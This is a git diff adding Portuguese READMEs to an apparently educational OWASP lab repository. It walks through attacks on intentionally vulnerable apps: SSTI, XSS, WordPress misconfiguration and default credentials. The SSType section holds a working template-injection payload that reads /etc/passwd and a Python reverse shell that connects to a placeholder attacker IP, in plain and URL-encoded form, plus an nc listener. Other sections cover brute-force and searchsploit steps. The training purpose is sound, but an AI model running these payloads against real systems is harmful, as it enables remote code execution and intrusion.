SSType is a simple Python web application that contains an example of a Server-Side Template Injection vulnerability in Tornado. In this example, a specific subcategory of Injection will be exemplified: Server Side Injection or SSTI.
## Index
-- [Definition](#what-is-injection)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [SSType](#sstype)
+ - [Index](#index)
+ - [What is Injection?](#what-is-injection)
+ - [Setup](#setup)
+ - [Get to know the app 💉](#get-to-know-the-app-)
+ - [Attack Narrative](#attack-narrative)
+ - [Lack of input validation allows injection of OS commands](#lack-of-input-validation-allows-injection-of-os-commands)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Injection?
diff --git a/owasp-top10-2021-apps/a3/sstype/README_PT_BR.md b/owasp-top10-2021-apps/a3/sstype/README_PT_BR.md
new file mode 100644
index 000000000..668f2bc50
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/sstype/README_PT_BR.md
@@ -0,0 +1,156 @@
+# SSType
+
+
+
+
+SSType é um aplicativo web Python simples que contém um exemplo de uma vulnerabilidade de injeção de modelo do lado do servidor no Tornado. Neste exemplo, uma subcategoria específica de Injeção será exemplificada: Server Side Injection ou SSTI.
+
+## Index
+
+- [SSType](#sstype)
+ - [Index](#index)
+ - [O que é injeção?](#o-que-é-injeção)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💉](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é injeção?
+
+Falhas de injeção, como injeção de SQL, NoSQL, SO e LDAP, ocorrem quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta. Os dados hostis do invasor podem induzir o intérprete a executar comandos não intencionais ou acessar dados sem a devida autorização.
+
+O principal objetivo deste projeto é discutir como as vulnerabilidades de **SQL Injection** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a3/sstype
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10001][app], conforme exemplificado abaixo:
+
+
+
+## Conheça o app 💉
+
+Para entender corretamente como este aplicativo funciona, você pode fazer uma pesquisa usando `name` como uma string de consulta usando um [browser](http://localhost:10001/?name=Vitor) ou usando `curl` em um terminal:
+
+```sh
+curl http://localhost:10001/?name=Vitor
+```
+
+
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### Lack of input validation allows injection of OS commands
+
+Após revisar o código da aplicação, foi possível verificar que a entrada do usuário (variável `name` querystring) não está sendo tratada corretamente antes de ser renderizada no template, conforme mostrado nos trechos de código a seguir:
+
+```python
+def get(self):
+ name = self.get_argument('name', '')
+ template_data = tmpl.replace("NAMEHERE",name)
+ t = tornado.template.Template(template_data)
+ self.write(t.generate(name=name))
+```
+
+```html
+Hello: NAMEHERE
+Try with /?name=YourName
+```
+
+Para confirmar que o campo de entrada é vulnerável, a seguinte carga útil pode ser usada para testar se o resultado de `4*4` pode ser renderizado na página:
+```
+http://localhost:10001/?name={{4*4}}
+```
+
+Quando esta requisição chegar à aplicação, `NAMEHERE` será substituído no HTML e executará a matemática, retornando `16`:
+
+```html
+Hello: {{4*4}}
+Try with /?name=YourName
+```
+
+
+
+### 🔥
+
+Um invasor pode agora criar qualquer comando malicioso que, em teoria, será executado. O primeiro passo que podemos fazer é tentar ler o conteúdo do arquivo `/etc/passwd`. Para fazer isso, usaremos o seguinte comando Python como a string de consulta `name`:
+
+```python
+{%import os%}{{os.popen('cat /etc/passwd').read()}}
+```
+
+
+
+Excelente! Agora que podemos executar comandos no servidor que hospeda o aplicativo, um script Python malicioso para nos fornecer um shell de alguma forma no servidor da vítima pode ser criado. Vamos dar uma olhada no seguinte exemplo:
+
+```python
+import socket,subprocess,os
+
+# creates a socket to estabilish the connection between the victim and the attacker
+s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.connect(("ATTACKER-IP","ATTACKER-PORT"))
+
+# configures STDIN, STDOUT and STDERR to be used in the shell
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+
+# spawns an interactive sh shell
+p=subprocess.call(["/bin/bash","-i"]);
+```
+
+Para receber um shell reverso, primeiro precisamos usar `nc` em nosso terminal para ouvir todas as conexões que chegam ao nosso `ATTACKER-IP` e `ATTACKER-PORT` e depois executar este script Python no servidor vítima:
+
+```sh
+nc -nlv ATTACKER-PORT
+```
+
+Mas como podemos usar esse payload dentro do parâmetro `name`? Para fazer isso, podemos compactá-lo usando múltiplos `;` para separar cada instrução, resultando na seguinte carga útil:
+
+```
+Don't forget to replace `ATTACKER-IP` and `ATTACKER-PORT` below!
+```
+
+```python
+{%import os%}{{os.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER-IP\",ATTACKER-PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'").read()}}
+```
+
+No entanto, como pode haver alguns caracteres especiais nessa string, precisamos escapar deles antes de injetá-los no aplicativo vulnerável (este [codificador de URL online](https://www.urlencoder.org/) pode ajudar) e esperamos como o Shell:
+
+```python
+%7B%25import%20os%25%7D%7B%7Bos.popen%28%22python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%5C%22ATTACKER-IP%5C%22%2CATTACKER-PORT%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fbash%5C%22%2C%5C%22-i%5C%22%5D%29%3B%27%22%29.read%28%29%7D%7D
+```
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após a modificação do código, um invasor não poderá executar comandos no servidor.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Aclosed+is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3ASSType)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10001
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a3/streaming/README.md b/owasp-top10-2021-apps/a3/streaming/README.md
index a321c47e3..b746185d3 100644
--- a/owasp-top10-2021-apps/a3/streaming/README.md
+++ b/owasp-top10-2021-apps/a3/streaming/README.md
@@ -1,19 +1,24 @@
# Streaming
-
+
+
Streaming is a Angular/Spring Boot app that contains an example of multiple Injection (XSS) vulnerabilities and its main goal is to describe how a malicious user could exploit them on this purposefully vulnerable app.
## Index
-- [Definition](#what-is-cross-site-scripting)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Streaming](#streaming)
+ - [Index](#index)
+ - [What is Cross-Site Scripting?](#what-is-cross-site-scripting)
+ - [Setup](#setup)
+ - [Get to know the app](#get-to-know-the-app)
+ - [Attack narrative](#attack-narrative)
+ - [Non-sanitization of user input allows for cross-site scripting](#non-sanitization-of-user-input-allows-for-cross-site-scripting)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Cross-Site Scripting?
diff --git a/owasp-top10-2021-apps/a3/streaming/README_PT_BR.md b/owasp-top10-2021-apps/a3/streaming/README_PT_BR.md
new file mode 100644
index 000000000..c7d329360
--- /dev/null
+++ b/owasp-top10-2021-apps/a3/streaming/README_PT_BR.md
@@ -0,0 +1,118 @@
+# Streaming
+
+
+
+
+
+
+Streaming é um aplicativo Angular/Spring Boot que contém um exemplo de várias vulnerabilidades de injeção (XSS) e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-los nesse aplicativo propositalmente vulnerável.
+
+## Index
+
+- [Streaming](#streaming)
+ - [Index](#index)
+ - [O que é Cross Site Scripting?](#o-que-é-cross-site-scripting)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💵](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é Cross Site Scripting?
+
+As falhas de XSS ocorrem sempre que um aplicativo inclui dados não confiáveis em uma nova página da Web sem validação, escape adequados, ou atualiza uma página da Web existente com dados fornecidos pelo usuário usando uma API do navegador que pode criar HTML ou JavaScript.
+
+O XSS permite que os invasores executem scripts no navegador da vítima que podem sequestrar sessões do usuário, desfigurar sites ou redirecionar o usuário para sites maliciosos.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades de **Cross-Site Scripting** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas. Saiba mais aqui.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a3/streaming
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10007][app] ! 😆
+
+## Conheça o app 💵
+
+Ao acessar o aplicativo de Streaming, você será identificado como usuário anônimo para assistir a uma stream nos canais de usuários cadastrados e interagir com outros usuários (ou o canal master) por meio de mensagens no chat.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### Uma página ou aplicativo da Web é vulnerável ao XSS se a entrada do usuário permitir scripts.
+
+### 👀
+
+Depois de revisar `buildLiveHTMLMessage(message)` de [`play.component.ts`](<(https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2021-apps/a3/streaming/app /frontend/src/app/lives/play/play.component.ts#)>), foi possível identificar que as mensagens carregadas e o nome de usuário estão permitindo scripts e podem ser executados em um navegador web (conforme mostrado na mensagem abaixo ).
+
+
+ 
+
+
+As imagens a seguir mostram esse comportamento quando o texto a seguir é usado como entrada nesses campos:
+
+```
+Hi
+```
+
+Adicionando uma nova mensagem no chat:
+
+
+
+
+
+
+
+
+
+A validação da mensagem ausente (que será carregada por outros usuários) permite que um usuário mal-intencionado insira alguns scripts que persistirão no servidor e serão executados no navegador das vítimas sempre que acessarem as rotas que contêm esses scripts.
+
+### 🔥
+
+Um invasor pode abusar dessas falhas gerando um código HTML/JS malicioso e enviando-o para outros usuários. Para demonstrar isso, o exemplo de código a seguir redirecionará todos os usuários que estão assistindo o canal para outro canal.
+
+```html
+
+```
+
+Este código redireciona todos os usuários para outra página, neste caso é a rota **/play/@mr.robot**.
+
+Quando a mensagem é carregada pela vítima, o navegador a lê e tenta carregar a imagem, porém, o caminho é inválido. Posteriormente, a função JavaScript `window.location.href` será executada.
+
+O gif a seguir mostra o invasor enviando o código malicioso para redirecionar as vítimas (que estão assistindo **@matthewpets** ao vivo) para a rota **/play/@mr.robot**:
+
+
+ 
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Executar scripts por meio de campos de entrada
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Streaming%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10007
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a5/misconfig-wordpress/README.md b/owasp-top10-2021-apps/a5/misconfig-wordpress/README.md
index ace652ed1..76ce5a3ef 100644
--- a/owasp-top10-2021-apps/a5/misconfig-wordpress/README.md
+++ b/owasp-top10-2021-apps/a5/misconfig-wordpress/README.md
@@ -2,6 +2,7 @@
+
This is a simple Wordpress web application that contains an example of a Security Misconfiguration vulnerability and its main goal is to describe how a malicious user could exploit multiple Security Misconfiguration vulnerabilities intentionally installed on SecWeb.
diff --git a/owasp-top10-2021-apps/a5/misconfig-wordpress/README_PT_BR.md b/owasp-top10-2021-apps/a5/misconfig-wordpress/README_PT_BR.md
new file mode 100644
index 000000000..476492995
--- /dev/null
+++ b/owasp-top10-2021-apps/a5/misconfig-wordpress/README_PT_BR.md
@@ -0,0 +1,232 @@
+# Vulnerable Wordpress Misconfig
+
+
+
+
+
+
+Este é um aplicativo web simples do Wordpress que contém um exemplo de uma vulnerabilidade de configuração incorreta de segurança. Seu principal objetivo é descrever como um usuário mal-intencionado pode explorar várias vulnerabilidades de configuração instaladas intencionalmente no SecWeb.
+
+## Index
+
+- [Definição](#o-que-é-configuração-insegura)
+- [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+- [Narrativa de ataque](#narrativa-de-ataque)
+- [Objetivos](#proteger-este-aplicativo)
+- [Soluções](#pr-soluções)
+- [Contribuição](#contribuição)
+
+## O que é Configuração Insegura?
+
+A configuração insegura de segurança pode ocorrer em qualquer nível de um aplicativos, incluindo serviços de rede, plataforma, servidor web, servidor de aplicativos, banco de dados, estruturas, código personalizado e máquinas virtuais pré-instaladas, contêineres ou armazenamento. Os scanners automatizados são úteis para detectar configurações incorretas, uso de contas ou configurações padrão, serviços desnecessários, opções herdadas, etc.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades de **Configuração Insegura** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas. Saiba mais aqui.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a5/misconfig-wordpress
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:8000][app] ! 😆
+
+## Conheça o app 📄
+
+Para entender corretamente como esse aplicativo funciona, você pode tentar:
+
+- Visite a página inicial!
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A mensagem de erro detalhada permite a enumeração do nome de usuário
+
+É possível acessar o site pela porta HTTP 8000, como mostra a imagem abaixo:
+
+
+
+
+
+Observando mais de perto o que está escrito abaixo do `SECWEB`, temos um sinal de que o site pode estar usando o CMS WordPress. Podemos confirmar essa suspeita tentando acessar a página `/wp-admin`. Como podemos ver na imagem abaixo, nossa suspeita se confirma:
+
+
+
+
+
+Um invasor pode tentar fazer login com o nome de usuário: `admin` e perceber, através da mensagem de erro, que `admin` é um usuário válido, conforme ilustrado na imagem abaixo:
+
+
+
+
+
+### 🔥
+
+Neste momento, um invasor pode usar o [Burp Suite](https://portswigger.net/burp) para realizar um ataque de força bruta usando esta [lista de palavras] (se precisar de ajuda para configurar seu proxy, verifique este [guia](https://support.portswigger.net/customer/portal/articles/1783066-configuring-firefox-to-work-with-burp)). Para isso, após encontrar a solicitação POST de login, clique com o botão direito e envie para o Intruder, conforme mostrado abaixo:
+
+
+ 
+
+
+Na aba `Positions`, todos os campos devem ser limpos primeiro através do botão `Clear §`. Para configurar `pwd` para mudar de acordo com cada senha de nossa lista de palavras do dicionário, basta clicar no botão `Add §` após selecioná-lo:
+
+
+ 
+
+
+Caso seja encontrada uma senha válida, o aplicativo pode processar novos cookies e eventualmente redirecionar o fluxo para outras páginas. Para garantir que o ataque de força bruta siga este comportamento, defina `Always` nas opções `Follow Redirections` na aba `Options`, conforme mostrado abaixo:
+
+
+ 
+
+
+Na aba `Payloads`, basta escolher a lista de palavras da opção `Load...` e então o ataque pode ser realizado através do botão `Start attack`:
+
+
+ 
+
+
+Após enviar cerca de 200 solicitações para tentar obter uma senha de administrador válida, é possível ver na imagem abaixo que o aplicativo nos redirecionou quando a senha `password` foi usada, evidenciando assim que pode ser o `admin` senha.
+
+
+
+
+
+A suspeita foi confirmada ao tentar fazer login com essas credenciais. Como mostrado abaixo:
+
+
+ 
+
+
+---
+
+### 👀
+
+#### O WordPress desatualizado é vulnerável a uma exclusão de arquivo arbitrária autenticada
+
+Agora que sabemos que estamos lidando com um WordPress, podemos usar a ferramenta [WPScan] para realizar uma varredura no aplicativo em busca de vulnerabilidades conhecidas. O seguinte comando pode ser usado para instalá-lo:
+
+```sh
+brew install wpscan
+```
+
+E, em seguida, use este comando para iniciar uma nova varredura simples:
+
+```sh
+wpscan -u localhost:8000
+```
+
+
+
+
+
+### 🔥
+
+Como visto na imagem acima, a ferramenta descobriu que a versão do CMS está desatualizada e vulnerável a uma exclusão de arquivo arbitrária autenticada. Ao usar a ferramenta [searchsploit], um invasor pode encontrar um [código malicioso] para explorar essa vulnerabilidade.
+
+Para instalar esta ferramenta, basta digitar o seguinte no seu terminal OSX:
+
+```sh
+⚠️ 'O próximo comando instalará vários códigos de exploração em seu sistema e muitos deles podem acionar alertas de antivírus'
+
+brew install exploitdb
+```
+
+Em seguida, basta procurar a versão do CMS encontrada:
+
+```sh
+searchsploit wordpress 4.9.6
+```
+
+
+
+
+
+---
+
+## 👀
+
+#### A configuração incorreta de segurança permite um diretório navegável no servidor
+
+Observando novamente os resultados do [WPScan], é possível ver que a ferramenta encontrou um diretório navegável no aplicativo: `/wp-content/uploads/`, como podemos ver na imagem abaixo:
+
+
+ 
+
+
+## 🔥
+
+Podemos confirmar que o diretório é navegável acessando-o por meio de um navegador web, conforme mostra a imagem a seguir:
+
+
+ 
+
+
+---
+
+## 👀
+
+#### Cabeçalhos mal configurados fornecem informações desnecessárias sobre o servidor
+
+Usando a ferramenta [Nikto] para realizar uma verificação de segurança, é possível ver que existem vários pontos de atenção em relação aos cabeçalhos de segurança.
+
+Para instalá-lo, você pode usar o seguinte comando no seu terminal OSX:
+
+```sh
+brew install nikto
+```
+
+Em seguida, verifique o aplicativo da Web usando:
+
+```sh
+nikto -h http://localhost:8000/
+```
+
+
+ 
+
+
+Agora, fazendo o seguinte comando curl para verificar os cabeçalhos HTTP da aplicação, podemos confirmar que ele realmente expõe a versão do PHP instalada, conforme mostra a imagem abaixo:
+
+
+ 
+
+
+---
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Ver mensagens de erro detalhadas
+- Realizar login com credenciais padrão
+- Ver tokens detalhados
+- Encontrar uma versão desatualizada do CMS
+
+Observação: neste aplicativo específico, devido à forma como ele funciona, você pode simplesmente anotar as alterações que faria para mitigar essas vulnerabilidades e enviá-las como uma solicitação pull.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Vuln+Wordpress+Misconfig%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:8000
+[wordlist]: https://github.com/danielmiessler/SecLists/blob/master/Passwords/UserPassCombo-Jay.txt
+[wpscan]: https://wpscan.org/
+[malicious code]: https://www.exploit-db.com/exploits/44949
+[nikto]: https://cirt.net/Nikto2
+[searchsploit]: https://www.exploit-db.com/searchsploit
+[secdevlabs]: https://github.com/globocom/secDevLabs
diff --git a/owasp-top10-2021-apps/a5/stegonography/README.md b/owasp-top10-2021-apps/a5/stegonography/README.md
index 44e5dd3ae..5a0e4b032 100644
--- a/owasp-top10-2021-apps/a5/stegonography/README.md
+++ b/owasp-top10-2021-apps/a5/stegonography/README.md
@@ -1,7 +1,8 @@
# Stegonography
- 
+
+
Stegonography is a Node.js web application that uses an API and a simple front end to simulate a real steganography application. It is built with two main routes, it's home( `/` ) and (`/login`), where the admin can log in to make changes to the page.
diff --git a/owasp-top10-2021-apps/a5/stegonography/README_PT_BR.md b/owasp-top10-2021-apps/a5/stegonography/README_PT_BR.md
new file mode 100644
index 000000000..9f16732eb
--- /dev/null
+++ b/owasp-top10-2021-apps/a5/stegonography/README_PT_BR.md
@@ -0,0 +1,142 @@
+# Stegonography
+
+
+
+
+
+
+Stegonography é um aplicativo web Node.js que usa uma API e um front-end simples para simular um aplicativo de esteganografia real. Ele é construído com duas rotas principais, é home( `/` ) e (`/login`), onde o administrador realizar login para fazer alterações na página.
+
+## Index
+
+- [Definição](#o-que-é-configuração-insegura)
+- [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+- [Narrativa de ataque](#narrativa-de-ataque)
+- [Objetivos](#proteger-este-aplicativo)
+- [Soluções](#pr-soluções)
+- [Contribuição](#contribuição)
+
+## O que é Configuração Insegura?
+
+A configuração insegura de segurança pode ocorrer em qualquer nível de um aplicativos, incluindo serviços de rede, plataforma, servidor web, servidor de aplicativos, banco de dados, estruturas, código personalizado e máquinas virtuais pré-instaladas, contêineres ou armazenamento. Os scanners automatizados são úteis para detectar configurações incorretas, uso de contas ou configurações padrão, serviços desnecessários, opções herdadas, etc.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades de **Configuração Insegura** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações de pull do **secDevLabs** sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a5/stegonography
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10006][app] ! 😆
+
+## Conheça o app 🦕
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Ocultar uma mensagem em uma imagem.
+- Descriptografar a mensagem desta imagem.
+- Tente usar uma senha para proteger melhor sua imagem!
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### Os erros detalhados são enviados para os usuários finais
+
+Um invasor, ao tentar enumerar as páginas disponíveis no aplicativo, pode encontrar os detalhes de erro com informações potencialmente confidenciais que podem comprometer o aplicativo. Um exemplo de um de erro detalhado é mostrado na imagem abaixo:
+
+
+ 
+
+
+### 👀
+
+#### O nome de usuário e as senhas padrões estão sendo usados
+
+Usando [Dirb] com sua lista de palavras padrão, `common.txt`, para enumerar as páginas existentes na aplicação e ocultar o "Não encontrado" com o sinalizador `-N 401`, é possível encontrar o que parece ser uma página de login, conforme apontado na imagem abaixo:
+
+```sh
+dirb http://localhost:10006 -N 401
+```
+
+
+ 
+
+
+Ao visitar `http://localhost:10006/login` chegamos à seguinte tela:
+
+
+ 
+
+
+### 🔥
+
+Um rápido palpite de `admin:admin` revelou que podemos fazer login com sucesso no aplicativo e acessar o painel de controle do administrador, conforme mostrado na imagem abaixo:
+
+
+ 
+
+
+### 👀
+
+#### O token de sessão detalhado fornece informações desnecessárias
+
+Após fazer login na aplicação, é possível ver que ela define um token de sessão: `nodejsSessionToken`. Como mostra a imagem a seguir:
+
+
+ 
+
+
+### 🔥
+
+Observando o nome do token, obtemos uma forte indicação de que o aplicativo pode estar executando o NodeJS. Ao usar o `searchsploit`, um invasor pode encontrar um código malicioso para explorar uma vulnerabilidade do NodeJS.
+
+Para instalar esta ferramenta, basta digitar o seguinte no seu terminal OSX:
+
+```sh
+⚠️ 'O próximo comando irá instalar vários códigos de exploração em seu sistema e muitos deles podem acionar alertas de antivírus'
+
+brew install exploitdb
+```
+
+Em seguida, basta procurar por "NodeJS":
+
+```sh
+searchsploit nodejs
+```
+
+
+ 
+
+
+Embora ainda não saibamos qual versão do NodeJS está em execução no momento, obtivemos informações valiosas para nossa fase de enumeração. Quanto mais um invasor souber sobre o aplicativo que está sendo analisado, maiores serão as chances de explorá-lo.
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Ver os erros detalhados
+- Fazer login com credenciais padrão
+- Ver nomes de token detalhados
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?utf8=%E2%9C%93&q=is%3Aclosed+is%3Apr+label%3AA6-OWASP-2017+label%3AStegonography)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10006
+[dirb]: https://tools.kali.org/web-applications/dirb
diff --git a/owasp-top10-2021-apps/a5/vinijr-blog/README.md b/owasp-top10-2021-apps/a5/vinijr-blog/README.md
index 7dde735a1..0a3128a1c 100644
--- a/owasp-top10-2021-apps/a5/vinijr-blog/README.md
+++ b/owasp-top10-2021-apps/a5/vinijr-blog/README.md
@@ -1,19 +1,24 @@
# ViniJR Blog
- 
+
+
This is a simple PHP web application that contains an example of a Security Misconfiguration (XXE) vulnerability and the main goal of this app is to describe how a malicious user could exploit it.
## Index
-- [Definition](#what-is-xxe)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [ViniJR Blog](#vinijr-blog)
+ - [Index](#index)
+ - [What is XXE?](#what-is-xxe)
+ - [Setup](#setup)
+ - [Get to know the app ⚽️](#get-to-know-the-app-️)
+ - [Attack narrative](#attack-narrative)
+ - [Non sanitized input field allows for an attacker to retrieve sensitive information](#non-sanitized-input-field-allows-for-an-attacker-to-retrieve-sensitive-information)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is XXE?
diff --git a/owasp-top10-2021-apps/a5/vinijr-blog/README_PT_BR.md b/owasp-top10-2021-apps/a5/vinijr-blog/README_PT_BR.md
new file mode 100644
index 000000000..15987ce32
--- /dev/null
+++ b/owasp-top10-2021-apps/a5/vinijr-blog/README_PT_BR.md
@@ -0,0 +1,129 @@
+# ViniJR Blog
+
+
+
+
+
+
+Este é um aplicativo web PHP simples que contém um exemplo de uma vulnerabilidade de configuração incorreta de segurança (XXE) e o objetivo principal deste aplicativo é descrever como um usuário mal-intencionado pode explorá-lo.
+
+## Index
+
+- [ViniJR Blog](#vinijr-blog)
+ - [Index](#index)
+ - [O que é XXE?](#o-que-é-xxe)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app ⚽️](#conheça-o-app-️)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+
+## O que é XXE?
+
+Muitos processadores XML mais antigos ou mal configurados avaliam referências de entidades externas em documentos XML. Entidades externas podem ser usadas para divulgar arquivos internos usando o manipulador de URI de arquivo, compartilhamentos de arquivos internos, verificação de porta interna, execução remota de código e ataques de negação de serviço.
+
